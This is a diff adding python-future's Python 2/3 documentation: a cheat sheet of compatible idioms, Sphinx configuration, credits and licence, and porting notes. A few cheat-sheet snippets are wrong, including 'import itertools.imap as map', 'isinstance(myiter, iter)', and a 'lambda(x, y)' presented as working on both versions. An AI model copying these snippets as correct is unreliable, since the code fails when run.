+    mynewlist = map(f, myoldlist)
+    assert mynewlist == [f(x) for x in myoldlist]
+.. code:: python
+
+    # Python 2 and 3: option 1
+    # Idiomatic Py3, but inefficient on Py2
+    mynewlist = list(map(f, myoldlist))
+    assert mynewlist == [f(x) for x in myoldlist]
+.. code:: python
+
+    # Python 2 and 3: option 2
+    from builtins import map
+    
+    mynewlist = list(map(f, myoldlist))
+    assert mynewlist == [f(x) for x in myoldlist]
+.. code:: python
+
+    # Python 2 and 3: option 3
+    try:
+        import itertools.imap as map
+    except ImportError:
+        pass
+    
+    mynewlist = list(map(f, myoldlist))    # inefficient on Py2
+    assert mynewlist == [f(x) for x in myoldlist]
+.. code:: python
+
+    # Python 2 and 3: option 4
+    from future.utils import lmap
+    
+    mynewlist = lmap(f, myoldlist)
+    assert mynewlist == [f(x) for x in myoldlist]
+.. code:: python
+
+    # Python 2 and 3: option 5
+    from past.builtins import map
+    
+    mynewlist = map(f, myoldlist)
+    assert mynewlist == [f(x) for x in myoldlist]
+imap
+~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    from itertools import imap
+    
+    myiter = imap(func, myoldlist)
+    assert isinstance(myiter, iter)
+.. code:: python
+
+    # Python 3 only:
+    myiter = map(func, myoldlist)
+    assert isinstance(myiter, iter)
+.. code:: python
+
+    # Python 2 and 3: option 1
+    from builtins import map
+    
+    myiter = map(func, myoldlist)
+    assert isinstance(myiter, iter)
+.. code:: python
+
+    # Python 2 and 3: option 2
+    try:
+        import itertools.imap as map
+    except ImportError:
+        pass
+    
+    myiter = map(func, myoldlist)
+    assert isinstance(myiter, iter)
+zip, izip
+~~~~~~~~~
+
+As above with ``zip`` and ``itertools.izip``.
+
+filter, ifilter
+~~~~~~~~~~~~~~~
+
+As above with ``filter`` and ``itertools.ifilter`` too.
+
+Other builtins
+--------------
+
+File IO with open()
+~~~~~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only
+    f = open('myfile.txt')
+    data = f.read()              # as a byte string
+    text = data.decode('utf-8')
+    
+    # Python 2 and 3: alternative 1
+    from io import open
+    f = open('myfile.txt', 'rb')
+    data = f.read()              # as bytes
+    text = data.decode('utf-8')  # unicode, not bytes
+    
+    # Python 2 and 3: alternative 2
+    from io import open
+    f = open('myfile.txt', encoding='utf-8')
+    text = f.read()    # unicode, not bytes
+reduce()
+~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    assert reduce(lambda x, y: x+y, [1, 2, 3, 4, 5]) == 1+2+3+4+5
+.. code:: python
+
+    # Python 2 and 3:
+    from functools import reduce
+    
+    assert reduce(lambda x, y: x+y, [1, 2, 3, 4, 5]) == 1+2+3+4+5
+raw\_input()
+~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    name = raw_input('What is your name? ')
+    assert isinstance(name, str)    # native str
+.. code:: python
+
+    # Python 2 and 3:
+    from builtins import input
+    
+    name = input('What is your name? ')
+    assert isinstance(name, str)    # native str on Py2 and Py3
+input()
+~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    input("Type something safe please: ")
+.. code:: python
+
+    # Python 2 and 3
+    from builtins import input
+    eval(input("Type something safe please: "))
+Warning: using either of these is **unsafe** with untrusted input.
+
+file()
+~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    f = file(pathname)
+.. code:: python
+
+    # Python 2 and 3:
+    f = open(pathname)
+    
+    # But preferably, use this:
+    from io import open
+    f = open(pathname, 'rb')   # if f.read() should return bytes
+    # or
+    f = open(pathname, 'rt')   # if f.read() should return unicode text
+exec
+~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    exec 'x = 10'
+
+    # Python 2 and 3:
+    exec('x = 10')
+.. code:: python
+
+    # Python 2 only:
+    g = globals()
+    exec 'x = 10' in g
+
+    # Python 2 and 3:
+    g = globals()
+    exec('x = 10', g)
+.. code:: python
+
+    # Python 2 only:
+    l = locals()
+    exec 'x = 10' in g, l
+
+    # Python 2 and 3:
+    exec('x = 10', g, l)
+execfile()
+~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    execfile('myfile.py')
+.. code:: python
+
+    # Python 2 and 3: alternative 1
+    from past.builtins import execfile
+    
+    execfile('myfile.py')
+.. code:: python
+
+    # Python 2 and 3: alternative 2
+    exec(compile(open('myfile.py').read()))
+    
+    # This can sometimes cause this:
+    #     SyntaxError: function ... uses import * and bare exec ...
+    # See https://github.com/PythonCharmers/python-future/issues/37
+unichr()
+~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    assert unichr(8364) == '€'
+.. code:: python
+
+    # Python 3 only:
+    assert chr(8364) == '€'
+.. code:: python
+
+    # Python 2 and 3:
+    from builtins import chr
+    assert chr(8364) == '€'
+intern()
+~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    intern('mystring')
+.. code:: python
+
+    # Python 3 only:
+    from sys import intern
+    intern('mystring')
+.. code:: python
+
+    # Python 2 and 3: alternative 1
+    from past.builtins import intern
+    intern('mystring')
+.. code:: python
+
+    # Python 2 and 3: alternative 2
+    from six.moves import intern
+    intern('mystring')
+.. code:: python
+
+    # Python 2 and 3: alternative 3
+    from future.standard_library import install_aliases
+    install_aliases()
+    from sys import intern
+    intern('mystring')
+.. code:: python
+
+    # Python 2 and 3: alternative 2
+    try:
+        from sys import intern
+    except ImportError:
+        pass
+    intern('mystring')
+apply()
+~~~~~~~
+
+.. code:: python
+
+    args = ('a', 'b')
+    kwargs = {'kwarg1': True}
+.. code:: python
+
+    # Python 2 only:
+    apply(f, args, kwargs)
+.. code:: python
+
+    # Python 2 and 3: alternative 1
+    f(*args, **kwargs)
+.. code:: python
+
+    # Python 2 and 3: alternative 2
+    from past.builtins import apply
+    apply(f, args, kwargs)
+chr()
+~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    assert chr(64) == b'@'
+    assert chr(200) == b'\xc8'
+.. code:: python
+
+    # Python 3 only: option 1
+    assert chr(64).encode('latin-1') == b'@'
+    assert chr(0xc8).encode('latin-1') == b'\xc8'
+.. code:: python
+
+    # Python 2 and 3: option 1
+    from builtins import chr
+    
+    assert chr(64).encode('latin-1') == b'@'
+    assert chr(0xc8).encode('latin-1') == b'\xc8'
+.. code:: python
+
+    # Python 3 only: option 2
+    assert bytes([64]) == b'@'
+    assert bytes([0xc8]) == b'\xc8'
+.. code:: python
+
+    # Python 2 and 3: option 2
+    from builtins import bytes
+    
+    assert bytes([64]) == b'@'
+    assert bytes([0xc8]) == b'\xc8'
+cmp()
+~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    assert cmp('a', 'b') < 0 and cmp('b', 'a') > 0 and cmp('c', 'c') == 0
+.. code:: python
+
+    # Python 2 and 3: alternative 1
+    from past.builtins import cmp
+    assert cmp('a', 'b') < 0 and cmp('b', 'a') > 0 and cmp('c', 'c') == 0
+.. code:: python
+
+    # Python 2 and 3: alternative 2
+    cmp = lambda(x, y): (x > y) - (x < y)
+    assert cmp('a', 'b') < 0 and cmp('b', 'a') > 0 and cmp('c', 'c') == 0
+reload()
+~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    reload(mymodule)
+.. code:: python
+
+    # Python 2 and 3
+    from imp import reload
+    reload(mymodule)
+Standard library
+----------------
+
+dbm modules
+~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only
+    import anydbm
+    import whichdb
+    import dbm
+    import dumbdbm
+    import gdbm
+    
+    # Python 2 and 3: alternative 1
+    from future import standard_library
+    standard_library.install_aliases()
+    
+    import dbm
+    import dbm.ndbm
+    import dbm.dumb
+    import dbm.gnu
+    
+    # Python 2 and 3: alternative 2
+    from future.moves import dbm
+    from future.moves.dbm import dumb
+    from future.moves.dbm import ndbm
+    from future.moves.dbm import gnu
+    
+    # Python 2 and 3: alternative 3
+    from six.moves import dbm_gnu
+    # (others not supported)
+commands / subprocess modules
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only
+    from commands import getoutput, getstatusoutput
+    
+    # Python 2 and 3
+    from future import standard_library
+    standard_library.install_aliases()
+    
+    from subprocess import getoutput, getstatusoutput
+subprocess.check\_output()
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2.7 and above
+    from subprocess import check_output
+    
+    # Python 2.6 and above: alternative 1
+    from future.moves.subprocess import check_output
+    
+    # Python 2.6 and above: alternative 2
+    from future import standard_library
+    standard_library.install_aliases()
+    
+    from subprocess import check_output
+collections: Counter and OrderedDict
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2.7 and above
+    from collections import Counter, OrderedDict
+    
+    # Python 2.6 and above: alternative 1
+    from future.moves.collections import Counter, OrderedDict
+    
+    # Python 2.6 and above: alternative 2
+    from future import standard_library
+    standard_library.install_aliases()
+    
+    from collections import Counter, OrderedDict
+StringIO module
+~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only
+    from StringIO import StringIO
+    from cStringIO import StringIO
+.. code:: python
+
+    # Python 2 and 3
+    from io import BytesIO
+    # and refactor StringIO() calls to BytesIO() if passing byte-strings
+http module
+~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    import httplib
+    import Cookie
+    import cookielib
+    import BaseHTTPServer
+    import SimpleHTTPServer
+    import CGIHttpServer
+    
+    # Python 2 and 3 (after ``pip install future``):
+    import http.client
+    import http.cookies
+    import http.cookiejar
+    import http.server
+xmlrpc module
+~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    import DocXMLRPCServer
+    import SimpleXMLRPCServer
+    
+    # Python 2 and 3 (after ``pip install future``):
+    import xmlrpc.server
+.. code:: python
+
+    # Python 2 only:
+    import xmlrpclib
+    
+    # Python 2 and 3 (after ``pip install future``):
+    import xmlrpc.client
+html escaping and entities
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 and 3:
+    from cgi import escape
+    
+    # Safer (Python 2 and 3, after ``pip install future``):
+    from html import escape
+    
+    # Python 2 only:
+    from htmlentitydefs import codepoint2name, entitydefs, name2codepoint
+    
+    # Python 2 and 3 (after ``pip install future``):
+    from html.entities import codepoint2name, entitydefs, name2codepoint
+html parsing
+~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    from HTMLParser import HTMLParser
+    
+    # Python 2 and 3 (after ``pip install future``)
+    from html.parser import HTMLParser
+    
+    # Python 2 and 3 (alternative 2):
+    from future.moves.html.parser import HTMLParser
+urllib module
+~~~~~~~~~~~~~
+
+``urllib`` is the hardest module to use from Python 2/3 compatible code.
+You may like to use Requests (http://python-requests.org) instead.
+
+.. code:: python
+
+    # Python 2 only:
+    from urlparse import urlparse
+    from urllib import urlencode
+    from urllib2 import urlopen, Request, HTTPError
+.. code:: python
+
+    # Python 3 only:
+    from urllib.parse import urlparse, urlencode
+    from urllib.request import urlopen, Request
+    from urllib.error import HTTPError
+.. code:: python
+
+    # Python 2 and 3: easiest option
+    from future.standard_library import install_aliases
+    install_aliases()
+    
+    from urllib.parse import urlparse, urlencode
+    from urllib.request import urlopen, Request
+    from urllib.error import HTTPError
+.. code:: python
+
+    # Python 2 and 3: alternative 2
+    from future.standard_library import hooks
+    
+    with hooks():
+        from urllib.parse import urlparse, urlencode
+        from urllib.request import urlopen, Request
+        from urllib.error import HTTPError
+.. code:: python
+
+    # Python 2 and 3: alternative 3
+    from future.moves.urllib.parse import urlparse, urlencode
+    from future.moves.urllib.request import urlopen, Request
+    from future.moves.urllib.error import HTTPError
+    # or
+    from six.moves.urllib.parse import urlparse, urlencode
+    from six.moves.urllib.request import urlopen
+    from six.moves.urllib.error import HTTPError
+.. code:: python
+
+    # Python 2 and 3: alternative 4
+    try:
+        from urllib.parse import urlparse, urlencode
+        from urllib.request import urlopen, Request
+        from urllib.error import HTTPError
+    except ImportError:
+        from urlparse import urlparse
+        from urllib import urlencode
+        from urllib2 import urlopen, Request, HTTPError
+Tkinter
+~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    import Tkinter
+    import Dialog
+    import FileDialog
+    import ScrolledText
+    import SimpleDialog
+    import Tix  
+    import Tkconstants
+    import Tkdnd   
+    import tkColorChooser
+    import tkCommonDialog
+    import tkFileDialog
+    import tkFont
+    import tkMessageBox
+    import tkSimpleDialog
+    import ttk
+    
+    # Python 2 and 3 (after ``pip install future``):
+    import tkinter
+    import tkinter.dialog
+    import tkinter.filedialog
+    import tkinter.scrolledtext
+    import tkinter.simpledialog
+    import tkinter.tix
+    import tkinter.constants
+    import tkinter.dnd
+    import tkinter.colorchooser
+    import tkinter.commondialog
+    import tkinter.filedialog
+    import tkinter.font
+    import tkinter.messagebox
+    import tkinter.simpledialog
+    import tkinter.ttk
+socketserver
+~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    import SocketServer
+    
+    # Python 2 and 3 (after ``pip install future``):
+    import socketserver
+copy\_reg, copyreg
+~~~~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    import copy_reg
+    
+    # Python 2 and 3 (after ``pip install future``):
+    import copyreg
+configparser
+~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    from ConfigParser import ConfigParser
+    
+    # Python 2 and 3 (after ``pip install configparser``):
+    from configparser import ConfigParser
+queue
+~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    from Queue import Queue, heapq, deque
+    
+    # Python 2 and 3 (after ``pip install future``):
+    from queue import Queue, heapq, deque
+repr, reprlib
+~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    from repr import aRepr, repr
+    
+    # Python 2 and 3 (after ``pip install future``):
+    from reprlib import aRepr, repr
+UserDict, UserList, UserString
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    from UserDict import UserDict
+    from UserList import UserList
+    from UserString import UserString
+    
+    # Python 3 only:
+    from collections import UserDict, UserList, UserString
+    
+    # Python 2 and 3: alternative 1
+    from future.moves.collections import UserDict, UserList, UserString
+    
+    # Python 2 and 3: alternative 2
+    from six.moves import UserDict, UserList, UserString
+    
+    # Python 2 and 3: alternative 3
+    from future.standard_library import install_aliases
+    install_aliases()
+    from collections import UserDict, UserList, UserString
+itertools: filterfalse, zip\_longest
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. code:: python
+
+    # Python 2 only:
+    from itertools import ifilterfalse, izip_longest
+    
+    # Python 3 only:
+    from itertools import filterfalse, zip_longest
+    
+    # Python 2 and 3: alternative 1
+    from future.moves.itertools import filterfalse, zip_longest
+    
+    # Python 2 and 3: alternative 2
+    from six.moves import filterfalse, zip_longest
+    
+    # Python 2 and 3: alternative 3
+    from future.standard_library import install_aliases
+    install_aliases()
+    from itertools import filterfalse, zip_longest

+ 332 - 0
desktop/core/ext-py/future-0.16.0/docs/conf.py

@@ -0,0 +1,332 @@
+# -*- coding: utf-8 -*-
+#
+# Python-Future documentation build configuration file, created by
+# sphinx-quickstart on Sun Sep 22 07:02:03 2013.
+#
+# This file is execfile()d with the current directory set to its containing dir.
+#
+# Note that not all possible configuration values are present in this
+# autogenerated file.
+#
+# All configuration values have a default; values that are commented out
+# serve to show the default.
+
+from __future__ import absolute_import, print_function
+import sys, os
+from future import __version__
+import sphinx_bootstrap_theme
+
+# If extensions (or modules to document with autodoc) are in another directory,
+# add these directories to sys.path here. If the directory is relative to the
+# documentation root, use os.path.abspath to make it absolute, like shown here.
+#sys.path.insert(0, os.path.abspath('.'))
+# Was: sys.path.append(os.path.dirname(os.path.abspath(__file__)))
+
+# -- General configuration -----------------------------------------------------
+
+# If your documentation needs a minimal Sphinx version, state it here.
+#needs_sphinx = '1.0'
+
+# Add any Sphinx extension module names here, as strings. They can be extensions
+# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
+extensions = ['sphinx.ext.autodoc',
+              'sphinx.ext.intersphinx',
+              'sphinx.ext.ifconfig',
+              'sphinx.ext.viewcode',
+              # 'sphinxcontrib.napoleon'    # see https://readthedocs.org/projects/sphinxcontrib-napoleon/
+              # 'sphinx.ext.napoleon'       # use this in Sphinx 1.3+
+             ]
+
+# Add any paths that contain templates here, relative to this directory.
+templates_path = ['_templates']
+
+# The suffix of source filenames.
+source_suffix = '.rst'
+
+# The encoding of source files.
+#source_encoding = 'utf-8-sig'
+
+# The master toctree document.
+master_doc = 'index'
+
+# General information about the project.
+project = u'Python-Future'
+copyright = u'2013-2016, Python Charmers Pty Ltd, Australia'
+
+# The version info for the project you're documenting, acts as replacement for
+# |version| and |release|, also used in various other places throughout the
+# built documents.
+#
+# if 'dev' in release:
+#     release = release.split('dev')[0] + 'dev'
+# release = '0.12.5-dev'
+# version = release   # was: '.'.join(release.split('.')[:2])
+
+# The language for content autogenerated by Sphinx. Refer to documentation
+# for a list of supported languages.
+#language = None
+
+# There are two options for replacing |today|: either, you set today to some
+# non-false value, then it is used:
+#today = ''
+# Else, today_fmt is used as the format for a strftime call.
+#today_fmt = '%B %d, %Y'
+
+# List of patterns, relative to source directory, that match files and
+# directories to ignore when looking for source files.
+exclude_patterns = ['_build']
+
+# The reST default role (used for this markup: `text`) to use for all documents.
+#default_role = None
+
+# If true, '()' will be appended to :func: etc. cross-reference text.
+#add_function_parentheses = True
+
+# If true, the current module name will be prepended to all description
+# unit titles (such as .. function::).
+#add_module_names = True
+
+# If true, sectionauthor and moduleauthor directives will be shown in the
+# output. They are ignored by default.
+#show_authors = False
+
+# The name of the Pygments (syntax highlighting) style to use.
+pygments_style = 'sphinx'  # 'futureext.FutureStyle'
+
+# A list of ignored prefixes for module index sorting.
+#modindex_common_prefix = []
+
+
+# -- Options for HTML output ---------------------------------------------------
+
+# The theme to use for HTML and HTML Help pages.  See the documentation for
+# a list of builtin themes.
+html_theme = 'bootstrap'
+html_theme_path = sphinx_bootstrap_theme.get_html_theme_path()
+
+# Theme options are theme-specific and customize the look and feel of a theme
+# further.  For a list of options available for each theme, see the
+# documentation.
+html_theme_options = {
+    # Navigation bar title. (Default: ``project`` value)
+    #'navbar_title': "Python-Future",
+
+    # Tab name for entire site. (Default: "Site")
+    'navbar_site_name': "Contents",
+
+    # A list of tuples containing pages or urls to link to.
+    # Valid tuples should be in the following forms:
+    #    (name, page)                 # a link to a page
+    #    (name, "/aa/bb", 1)          # a link to an arbitrary relative url
+    #    (name, "http://example.com", True) # arbitrary absolute url
+    # Note the "1" or "True" value above as the third argument to indicate
+    # an arbitrary url.
+    'navbar_links': [
+        ("Overview", "overview"),
+        ("Cheat Sheet", "compatible_idioms.html", True),
+        ("FAQ", "faq.html", True),
+        # ("Link", "http://example.com", True),
+    ],
+
+    # Render the next and previous page links in navbar. (Default: true)
+    'navbar_sidebarrel': False,
+
+    # Render the current pages TOC in the navbar. (Default: true)
+    'navbar_pagenav': True,
+
+    # Global TOC depth for "site" navbar tab. (Default: 1)
+    # Switching to -1 shows all levels.
+    'globaltoc_depth': 3,
+
+    # Include hidden TOCs in Site navbar?
+    #
+    # Note: If this is "false", you cannot have mixed ``:hidden:`` and
+    # non-hidden ``toctree`` directives in the same page, or else the build
+    # will break.
+    #
+    # Values: "true" (default) or "false"
+    'globaltoc_includehidden': "true",
+
+    # HTML navbar class (Default: "navbar") to attach to <div> element.
+    # For black navbar, do "navbar navbar-inverse"
+    'navbar_class': "navbar navbar-inverse",
+
+    # Fix navigation bar to top of page?
+    # Values: "true" (default) or "false"
+    'navbar_fixed_top': "true",
+
+    # Location of link to source.
+    # Options are "nav" (default), "footer" or anything else to exclude.
+    'source_link_position': "none",
+
+    # Bootswatch (http://bootswatch.com/) theme.
+    #
+    # Options are nothing with "" (default) or the name of a valid theme
+    # such as "amelia" or "cosmo" or "united".
+    'bootswatch_theme': "cerulean",
+
+    # Choose Bootstrap version.
+    # Values: "3" (default) or "2" (in quotes)
+    'bootstrap_version': "3",
+}
+
+
+# Add any paths that contain custom themes here, relative to this directory.
+#html_theme_path = []
+
+# The name for this set of Sphinx documents.  If None, it defaults to
+# "<project> v<release> documentation".
+#html_title = None
+
+# A shorter title for the navigation bar.  Default is the same as html_title.
+#html_short_title = None
+
+# The name of an image file (relative to this directory) to place at the top
+# of the sidebar.
+html_logo = '_static/python-future-logo-textless-transparent.png'
+
+# The name of an image file (within the static path) to use as favicon of the
+# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
+# pixels large.
+html_favicon = "_static/python-future-icon-32.ico"
+
+# Add any paths that contain custom static files (such as style sheets) here,
+# relative to this directory. They are copied after the builtin static files,
+# so a file named "default.css" will overwrite the builtin "default.css".
+html_static_path = ['_static']
+
+# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
+# using the given strftime format.
+#html_last_updated_fmt = '%b %d, %Y'
+
+# If true, SmartyPants will be used to convert quotes and dashes to
+# typographically correct entities.
+#html_use_smartypants = True
+
+# Custom sidebar templates, maps document names to template names.
+html_sidebars = {
+    '**':    ['sidebarintro.html',
+              'sidebartoc.html',
+              # 'sourcelink.html',
+              #'searchbox.html',
+             ]
+    # '**':       ['sidebarlogo.html', 'localtoc.html', 'relations.html', 'sourcelink.html', 'searchbox.html']
+}
+
+# Additional templates that should be rendered to pages, maps page names to
+# template names.
+#html_additional_pages = {}
+
+# If false, no module index is generated.
+#html_domain_indices = True
+
+# If false, no index is generated.
+#html_use_index = True
+
+# If true, the index is split into individual pages for each letter.
+#html_split_index = False
+
+# If true, links to the reST sources are added to the pages.
+html_show_sourcelink = False
+
+# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
+html_show_sphinx = False
+
+# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
+#html_show_copyright = True
+
+# If true, an OpenSearch description file will be output, and all pages will
+# contain a <link> tag referring to it.  The value of this option must be the
+# base URL from which the finished HTML is served.
+#html_use_opensearch = ''
+
+# This is the file name suffix for HTML files (e.g. ".xhtml").
+#html_file_suffix = None
+
+# Output file base name for HTML help builder.
+htmlhelp_basename = 'Futuredoc'
+
+
+# -- Options for LaTeX output --------------------------------------------------
+
+latex_elements = {
+# The paper size ('letterpaper' or 'a4paper').
+'papersize': 'a4paper',
+
+# The font size ('10pt', '11pt' or '12pt').
+'pointsize': '12pt',
+
+# Additional stuff for the LaTeX preamble.
+#'preamble': r'''
+#\usepackage{futurestyle}
+#''',
+
+# 'fontpkg':  r'\usepackage{mathpazo}',
+}
+
+# Grouping the document tree into LaTeX files. List of tuples
+# (source start file, target name, title, author, documentclass [howto/manual]).
+latex_documents = [
+  ('index', 'Python-Future.tex', u'Python-Future Documentation',
+   u'Python Charmers', 'manual'),
+]
+
+# The name of an image file (relative to this directory) to place at the top of
+# the title page.
+#latex_logo = None
+
+# For "manual" documents, if this is true, then toplevel headings are parts,
+# not chapters.
+latex_use_parts = True
+
+# latex_additional_files = ['futurestyle.sty', 'logo.pdf']
+
+# If true, show page references after internal links.
+#latex_show_pagerefs = False
+
+# If true, show URL addresses after external links.
+#latex_show_urls = False
+
+# Documents to append as an appendix to all manuals.
+#latex_appendices = []
+
+# If false, no module index is generated.
+#latex_domain_indices = True
+
+
+# -- Options for manual page output --------------------------------------------
+
+# One entry per manual page. List of tuples
+# (source start file, name, description, authors, manual section).
+man_pages = [
+    ('index', 'python-future', u'Python-Future Documentation',
+     [u'Python Charmers'], 1)
+]
+
+# If true, show URL addresses after external links.
+#man_show_urls = False
+
+
+# -- Options for Texinfo output ------------------------------------------------
+
+# Grouping the document tree into Texinfo files. List of tuples
+# (source start file, target name, title, author,
+#  dir menu entry, description, category)
+texinfo_documents = [
+  ('index', 'Python-Future', u'Python-Future Documentation',
+   u'Python Charmers', 'Python-Future', 'Easy compatibility for Python 2 and 3',
+   'Miscellaneous'),
+]
+
+# Documents to append as an appendix to all manuals.
+#texinfo_appendices = []
+
+# If false, no module index is generated.
+#texinfo_domain_indices = True
+
+# How to display URL addresses: 'footnote', 'no', or 'inline'.
+#texinfo_show_urls = 'footnote'
+
+
+# Example configuration for intersphinx: refer to the Python standard library.
+intersphinx_mapping = {'http://docs.python.org/': None}

+ 27 - 0
desktop/core/ext-py/future-0.16.0/docs/contents.rst.inc

@@ -0,0 +1,27 @@
+Contents:
+---------
+
+.. toctree::
+   :maxdepth: 2
+
+   whatsnew
+   overview
+   quickstart
+   compatible_idioms
+   imports
+   what_else
+   automatic_conversion
+   faq
+   stdlib_incompatibilities
+   older_interfaces
+   changelog
+   credits
+   reference
+
+Indices and tables
+------------------
+
+* :ref:`genindex`
+* :ref:`modindex`
+* :ref:`search`
+

+ 27 - 0
desktop/core/ext-py/future-0.16.0/docs/conversion_limitations.rst

@@ -0,0 +1,27 @@
+.. _futurize-limitations:
+
+Known limitations
+-----------------
+
+``futurize`` and ``pasteurize`` are useful to automate much of the
+work of porting, particularly the boring repetitive text substitutions. They also
+help to flag which parts of the code require attention.
+
+Nevertheless, ``futurize`` and ``pasteurize`` are still incomplete and make
+some mistakes, like 2to3, on which they are based. Please report bugs on
+`GitHub <https://github.com/PythonCharmers/python-future/>`_. Contributions to
+the ``lib2to3``-based fixers for ``futurize`` and ``pasteurize`` are
+particularly welcome! Please see :ref:`contributing`.
+
+``futurize`` doesn't currently make the following change automatically:
+
+1. Strings containing ``\U`` produce a ``SyntaxError`` on Python 3. An example is::
+
+       s = 'C:\Users'.
+
+   Python 2 expands this to ``s = 'C:\\Users'``, but Python 3 requires a raw
+   prefix (``r'...'``). This also applies to multi-line strings (including
+   multi-line docstrings).
+
+Also see the tests in ``future/tests/test_futurize.py`` marked
+``@expectedFailure`` or ``@skip`` for known limitations.

+ 115 - 0
desktop/core/ext-py/future-0.16.0/docs/credits.rst

@@ -0,0 +1,115 @@
+Licensing and credits
+=====================
+
+.. _licence:
+
+Licence
+-------
+The software is distributed under an MIT licence. The text is as follows
+(from ``LICENSE.txt``)::
+
+    Copyright (c) 2013-2016 Python Charmers Pty Ltd, Australia
+    
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+    
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+    
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+
+.. _sponsor:
+
+Sponsor
+-------
+Python Charmers Pty Ltd, Australia, and Python Charmers Pte Ltd, Singapore.
+http://pythoncharmers.com
+
+
+.. _authors:
+
+Authors
+-------
+
+Python-Future is written and maintained by Ed Schofield with the help of
+various contributors:
+
+Development Lead
+~~~~~~~~~~~~~~~~
+
+- Ed Schofield <ed@pythoncharmers.com>
+
+Patches
+~~~~~~~
+
+- Jacob Beck
+- Denis Cornehl
+- Nicolas Delaby
+- Corey Farwell
+- Eric Firing
+- Michael Joseph
+- Waldemar Kornewald
+- Alexey Kotlyarov
+- Lion Krischer
+- Marcin Kuzminski
+- Joshua Landau
+- German Larrain
+- Chris Lasher
+- Elliott Sales de Andrade
+- Tim Shaffer
+- Daniel Szoska
+- Jeff Tratner
+- Tim Tröndle
+- Brad Walker
+- Mystic-Mirage (GitHub)
+- str4d (GitHub)
+- 9seconds (GitHub)
+- Varriount (GitHub)
+
+Suggestions and Feedback
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+- Chris Adams
+- Martijn Faassen
+- Lion Krischer
+- Danielle Madeley
+- Val Markovic
+- wluebbe (GitHub)
+
+
+Other Credits
+-------------
+
+- The backported ``super()`` and ``range()`` functions are derived from Ryan
+  Kelly's ``magicsuper`` module and Dan Crosta's ``xrange`` module.
+
+- The ``futurize`` and ``pasteurize`` scripts use ``lib2to3``, ``lib3to2``, and
+  parts of Armin Ronacher's ``python-modernize`` code.
+
+- The ``python_2_unicode_compatible`` decorator is from Django. The
+  ``implements_iterator`` and ``with_metaclass`` decorators are from Jinja2.
+
+- The ``exec_`` function and some others in ``future.utils`` are from the
+  ``six`` module by Benjamin Peterson.
+
+- The ``raise_`` and ``raise_with_traceback`` functions were contributed by
+  Jeff Tratner.
+
+- A working version of ``raise_from`` was contributed by Varriount (GitHub).
+
+- Documentation is generated with `Sphinx <http://sphinx.pocoo.org>`_ using the
+  ``sphinx-bootstrap`` theme.
+
+- ``past.translation`` is inspired by and borrows some code from Sanjay Vinip's
+  ``uprefix`` module.
+

+ 95 - 0
desktop/core/ext-py/future-0.16.0/docs/custom_iterators.rst

@@ -0,0 +1,95 @@
+.. _custom-iterators:
+
+Custom iterators
+----------------
+
+If you define your own iterators, there is an incompatibility in the method name
+to retrieve the next item across Py3 and Py2. On Python 3 it is ``__next__``,
+whereas on Python 2 it is ``next``.
+
+The most elegant solution to this is to derive your custom iterator class from
+``builtins.object`` and define a ``__next__`` method as you normally
+would on Python 3. On Python 2, ``object`` then refers to the
+``future.types.newobject`` base class, which provides a fallback ``next``
+method that calls your ``__next__``. Use it as follows::
+
+    from builtins import object
+    
+    class Upper(object):
+        def __init__(self, iterable):
